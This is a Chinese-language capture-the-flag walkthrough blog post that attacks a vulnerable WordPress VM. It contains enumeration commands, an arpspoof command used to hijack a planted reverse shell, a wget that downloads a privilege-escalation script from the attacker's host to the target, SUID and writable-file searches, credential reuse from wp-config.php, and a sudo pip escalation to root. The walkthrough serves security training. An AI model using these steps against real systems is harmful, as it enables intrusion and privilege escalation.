靶机地址
难度:中等
靶机发布日期:2019年11月22日
靶机描述:beginner - intermediate machine, your goal is to read /root/flag.txt.
Remember, good enumeration! VMware based, you may have problems with VB.
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
靶机IP:172.16.203.128
nmap -sn 192.168.56.0/24
端口和服务
nmap -sS -sV -T5 -A -p- 172.16.203.128
页面、目录枚举
gobuster dir -u http://172.16.203.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
然后我访问/javascript
时提示禁止访问,想着里面会不会有什么js脚本是突破口?然而是我想多了,最终也只发现了/javascript/jquery/jquery.js
之后用burpsuite抓包,没什么卵用;然后用wireshark,依然没什么卵用。有点绝望了啊!!!
想到靶机的描述里面有这么一句话Remember, good enumeration!
。随机换了个字典,接着用gobuster扫它,扫它,扫它。
字典用的是Github上21.8k Star https://github.com/danielmiessler/SecLists。之前已经把kali自带的字典全部试过了~,对,全部。
哦豁,发现了/zhkh
,用的wordpress
然而之后发现请求了192.168.1.13
,因为之前EVM:1那个靶机也是类似的情况。所以我修改了Host only网卡的IP和子网掩码,可是并不能使靶机自动获取到这个192.168.1.13
的地址
后来一个老哥说可以这么操作,我真是菜~
因为响应body里面有192.168.1.13
,所以直接用靶机的IP给它替换掉。
正常显示首页之后,四处点了点,没发现什么。wordpress的版本是5.3,发布不到一个月,所以漏洞什么的就不要想了。之后爆破了一下admin
用户的密码,无果。
秉承着good enumeration
的无上原则,用gobuster对着/zhkh/wp-content/
又是一顿扫,发现/uploads
之后发现了shell.php
直接访问shell.php
得到一串警告,之后burpsuite抓包
随后使用curl
请求了一下,发现响应包中的Content-Length
是104,而我们之前用burpsuite抓包得到的是90。
这里是在burpsuite中选中
/zhkh/wp-content/uploads/uigen_2019/shell.php
,然后右键拷贝成curl命令
然而好像没什么卵用。到网上搜了一下错误提示,有了如下的发现。
从这里可以基本断定这就是一个reverse shell的php,然而里面的ip和都不知道,而且即便知道了配置起来好像也不是那么容易。
请教了老哥之后,说是可以直接用MiTM(中间人攻击)搞一波,给了MiTM
四个字符之后随即绝尘而去,我真是羡慕这样潇洒的背影~
出于好奇我想用wireshark抓取Host only对应的网卡(eth1)的流量,看看我直接访问shell.php
的时候能不能抓到什么东西。
从图中可以看到192.168.11.131
(源IP)向192.168.1.14
(目的IP)发起了请求。192.168.11.131是靶机的IP
,请原谅它的IP总是变动~,我的锅;还记得之前wordpress首页向192.168.1.13
发送请求吗?所以这里的192.168.1.14应该就是接收shell会话的攻击机的地址了
。这是按常理推断,如果我的靶机IP是192.168.1.13
,那么我的攻击机应该是处在同网段的,而抓取流量的过程中只出现了192.168.1.14
,所以shell.php里面的接收shell会话的IP就是这个了。
还有就是源IP的端口是41262,目的IP的端口是5555
(也就是说nc的监听端口是5555),目前还不知道这些信息有没有用。因为之前没有接触过MiTM,所以都是现学现卖~
第二天突然想到好像可以不用MiTM这种手法,因为毕竟是本地的靶机,所以也可以修改一下虚拟机软件的网络配置,比如NAT模式的网络配置改成192.168.1.0/24
,之后再给kali配置一个静态IP192.168.1.14
~
演示完了投机取巧的办法之后,老老实实的回来研究怎么通过MiTM获取shell。这里推荐一篇阿里巴巴的表哥写的文章:中间人攻击(MITM)姿势总结,四个字形容:图文并茂。
了解了ARP的原理之后,我就想,我直接在靶机发送广播(ARP Request)的时候,告诉靶机“kali就是192.168.1.14
”不就好了?
我这里用的工具是arpspoof
,kali 2019.4已经没有这个工具了,需要通过安装dsniff
后才能使用。
arpspoof -i eth0 -t 192.168.1.129 192.168.1.14 # 告诉靶机(192.168.1.129),“kali就是`192.168.1.14`”
然后使用curl访问shell.php,结果报错了。
同一时间,wireshark抓包的结果如下:
折腾了许久没能getshell,先放一放。有表哥知道怎么弄的话,麻烦给个思路,先谢过了。
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
SUID权限可执行文件,没有可用的
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。但是也没发现什么有用的信息。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys|/var/www/html/zhkh' /tmp/report.txt
查看计划任务,无
cat /etc/crontab
查找sudo权限命令,需要输入密码
sudo -l
查看/etc/passwd
发现一个用户ra
,之前端口扫描的时候发现SSH服务在运行,所以可以尝试爆破一下。用kali自带的fasttrack.txt
字典爆破无果之后就没有再去尝试用其他的字典再尝试了。
uame -a
查看内核版本为4.19.0-6-amd64
,这个先留着吧
本来想用netstat
查看一下有没有什么只能本地访问的服务的,结果没装~
随后打开了wordpress的配置文件wp-config.php
,发现数据库的用户是ra
,跟系统用户名一样,所以尝试直接用数据库的密码登录一下,结果密码不对。然后就继续往下翻了翻,发现有一串注释掉的字符串Db]f{He3HgO
(z,好生奇怪,虽然没有深入研究过wordpress,但直觉告诉我,这串字符串有问题,正所谓事出无常必有妖
。
接着把它当作ra
用户的密码,尝试通过SSH登录了一下,嗯~直接登录成功了。不好意思,我当时直接笑出了声……
紧直接读取了.bash_history
,发现之前执行过find . -exec "whoami" \;
,随即猜测find
可能是有SUID权限的,试了一下发现是我想太多。
重新执行了一下sudo -l
,发现/usr/bin/pip
可以以root用户的权限执行。到https://gtfobins.github.io/查了一下,发现有现成的payload,直接照搬即可获得root权限。
请原谅此处的马赛克,感谢理解。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.